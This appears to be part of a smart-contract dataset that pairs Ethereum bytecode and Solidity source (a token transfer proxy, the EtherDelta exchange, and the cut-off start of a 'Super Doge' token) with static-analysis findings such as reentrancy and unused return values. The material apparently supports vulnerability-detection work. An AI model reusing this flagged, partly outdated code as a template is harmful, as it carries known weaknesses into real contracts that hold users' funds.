12b0a81613152565b82525050565b612b1981613152565b82525050565b6000612b2a82612ff8565b612b34818561301b565b9350612b3f83612fe8565b8060005b83811015612b70578151612b578882612ae9565b9750612b628361300e565b925050600181019050612b43565b5085935050505092915050565b612b8681613164565b82525050565b612b95816131a7565b82525050565b6000612ba682613003565b612bb0818561302c565b9350612bc08185602086016131b9565b612bc9816132ad565b840191505092915050565b6000612be1602a8361302c565b9150612bec826132be565b604082019050919050565b6000612c0460228361302c565b9150612c0f8261330d565b604082019050919050565b6000612c27601b8361302c565b9150612c328261335c565b602082019050919050565b6000612c4a60218361302c565b9150612c5582613385565b604082019050919050565b6000612c6d60208361302c565b9150612c78826133d4565b602082019050919050565b6000612c9060298361302c565b9150612c9b826133fd565b604082019050919050565b6000612cb3601a8361302c565b9150612cbe8261344c565b602082019050919050565b6000612cd660248361302c565b9150612ce182613475565b604082019050919050565b6000612cf960178361302c565b9150612d04826134c4565b602082019050919050565b612d1881613190565b82525050565b612d278161319a565b82525050565b6000602082019050612d426000830184612b10565b92915050565b6000604082019050612d5d6000830185612b10565b612d6a6020830184612b10565b9392505050565b6000604082019050612d866000830185612b10565b612d936020830184612d0f565b9392505050565b600060c082019050612daf6000830189612b10565b612dbc6020830188612d0f565b612dc96040830187612b8c565b612dd66060830186612b8c565b612de36080830185612b10565b612df060a0830184612d0f565b979650505050505050565b6000602082019050612e106000830184612b7d565b92915050565b60006020820190508181036000830152612e308184612b9b565b905092915050565b60006020820190508181036000830152612e5181612bd4565b9050919050565b60006020820190508181036000830152612e7181612bf7565b9050919050565b60006020820190508181036000830152612e9181612c1a565b9050919050565b60006020820190508181036000830152612eb181612c3d565b9050919050565b60006020820190508181036000830152612ed181612c60565b9050919050565b60006020820190508181036000830152612ef181612c83565b9050919050565b60006020820190508181036000830152612f1181612ca6565b9050919050565b60006020820190508181036000830152612f3181612cc9565b9050919050565b60006020820190508181036000830152612f5181612cec565b9050919050565b6000602082019050612f6d6000830184612d0f565b92915050565b600060a082019050612f886000830188612d0f565b612f956020830187612b8c565b8181036040830152612fa78186612b1f565b9050612fb66060830185612b10565b612fc36080830184612d0f565b9695505050505050565b6000602082019050612fe26000830184612d1e565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061304882613190565b915061305383613190565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613088576130876131ec565b5b828201905092915050565b600061309e82613190565b91506130a983613190565b9250826130b9576130b861321b565b5b828204905092915050565b60006130cf82613190565b91506130da83613190565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613113576131126131ec565b5b828202905092915050565b600061312982613190565b915061313483613190565b925082821015613147576131466131ec565b5b828203905092915050565b600061315d82613170565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131b282613190565b9050919050565b60005b838110156131d75780820151818401526020810190506131bc565b838111156131e6576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134f681613152565b811461350157600080fd5b50565b61350d81613164565b811461351857600080fd5b50565b61352481613190565b811461352f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122009d514b200257efa0dbb17263c6108e805689f115a4710673a57c1db1d110e6c64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,329 |
0x5c42411e54462af2be3492622c5f3440afc06d03
|
/**
*Submitted for verification at Etherscan.io on 2022-01-31
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC1155 is IERC165 {
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_id` argument MUST be the token type being transferred.
The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_ids` argument MUST be the list of tokens being transferred.
The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
/**
@dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled).
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
@dev MUST emit when the URI is updated for a token ID.
URIs are defined in RFC 3986.
The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
*/
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
/**
@notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if length of `_ids` is not the same as length of `_values`.
MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
MUST revert on any other error.
MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _ids IDs of each token type (order and length must match _values array)
@param _values Transfer amounts per token type (order and length must match _ids array)
@param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
/**
@notice Get the balance of an account's Tokens.
@param _owner The address of the token holder
@param _id ID of the Token
@return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
/**
@notice Get the balance of multiple account/token pairs
@param _owners The addresses of the token holders
@param _ids ID of the Tokens
@return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param _operator Address to add to the set of authorized operators
@param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
@notice Queries the approval status of an operator for a given owner.
@param _owner The owner of the Tokens
@param _operator Address of authorized operator
@return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TransferProxy {
event operatorChanged(address indexed from, address indexed to);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
address public operator;
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
modifier onlyOperator() {
require(operator == msg.sender, "OperatorRole: caller does not have the Operator role");
_;
}
/** change the OperatorRole from contract creator address to trade contractaddress
@param _operator :trade address
*/
function changeOperator(address _operator) public onlyOwner returns(bool) {
require(_operator != address(0), "Operator: new operator is the zero address");
operator = _operator;
emit operatorChanged(address(0),operator);
return true;
}
/** change the Ownership from current owner to newOwner address
@param newOwner : newOwner address */
function transferOwnership(address newOwner) public onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator {
token.safeTransferFrom(from, to, tokenId);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator {
token.safeTransferFrom(from, to, tokenId, value, data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator {
require(token.transferFrom(from, to, value), "failure while transferring");
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638da5cb5b1161005b5780638da5cb5b146100ea5780639c1c2ee9146100fd578063f2fde38b14610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa578063776062c3146100d5575b600080fd5b6100956100903660046105a9565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100e86100e33660046106a5565b610250565b005b6000546100bd906001600160a01b031681565b6100e861010b3660046105ec565b610356565b61009561011e3660046105a9565b6103f1565b6100e86101313660046106a5565b61050f565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b6001546001600160a01b0316331461027a5760405162461bcd60e51b815260040161018d9061074e565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156102cc57600080fd5b505af11580156102e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061030491906105cc565b6103505760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146103805760405162461bcd60e51b815260040161018d9061074e565b604051637921219560e11b81526001600160a01b0388169063f242432a906103b6908990899089908990899089906004016106f5565b600060405180830381600087803b1580156103d057600080fd5b505af11580156103e4573d6000803e3d6000fd5b5050505050505050505050565b600080546001600160a01b0316331461044c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166104b15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546040516001600160a01b03808616939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350600080546001600160a01b0383166001600160a01b03199091161790556001919050565b6001546001600160a01b031633146105395760405162461bcd60e51b815260040161018d9061074e565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561058b57600080fd5b505af115801561059f573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ba578081fd5b81356105c5816107a2565b9392505050565b6000602082840312156105dd578081fd5b815180151581146105c5578182fd5b600080600080600080600060c0888a031215610606578283fd5b8735610611816107a2565b96506020880135610621816107a2565b95506040880135610631816107a2565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561065b578384fd5b818a0191508a601f83011261066e578384fd5b81358181111561067c578485fd5b8b602082850101111561068d578485fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106ba578384fd5b84356106c5816107a2565b935060208501356106d5816107a2565b925060408501356106e5816107a2565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107b757600080fd5b5056fea2646970667358221220a096cbc9b087525926d14aa1b4a71538304401987823cf9cd3f2796669de806e64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 6,330 |
0x11ff046f516577de8cf27a770ba7acad887585e3
|
pragma solidity ^0.4.9;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
function ReserveToken() {
minter = msg.sender;
}
function create(address account, uint amount) {
if (msg.sender != minter) throw;
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) {
if (msg.sender != minter) throw;
if (balances[account] < amount) throw;
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
//given a user, returns an account level
//0 = regular user (pays take fee and make fee)
//1 = market maker silver (pays take fee, no make fee, gets rebate)
//2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
function accountLevel(address user) constant returns(uint) {}
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) {
accountLevels[user] = level;
}
function accountLevel(address user) constant returns(uint) {
return accountLevels[user];
}
}
contract EtherDelta is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
function EtherDelta(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
}
function() {
throw;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) throw;
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) {
if (msg.sender != admin) throw;
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) throw;
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) {
if (msg.sender != admin) throw;
if (feeMake_ > feeMake) throw;
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) {
if (msg.sender != admin) throw;
if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) {
if (msg.sender != admin) throw;
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw;
feeRebate = feeRebate_;
}
function deposit() payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) throw;
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) throw;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token==0) throw;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) {
if (token==0) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) throw;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
//amount is in amountGet terms
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) throw;
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
}
|
0x606060405263ffffffff60e060020a6000350416631cbd051981146020575bfe5b3415602757fe5b604673ffffffffffffffffffffffffffffffffffffffff600435166058565b60408051918252519081900360200190f35b60005b9190505600a165627a7a723058209a64b158908cbf0eb5828e8da3e9a5862fa797f344058df5f19403a8b0eb1c890029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,331 |
0xbc85cbe611f47a3e5b70ec9941230e1e59f2af75
|
//Super Doge ($SuperDoge)
//2% Deflationary yes
//Bot Protect yes
//Telegram: https://t.me/sdogeofficial
//CG, CMC listing: Ongoing
//Fair Launch
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
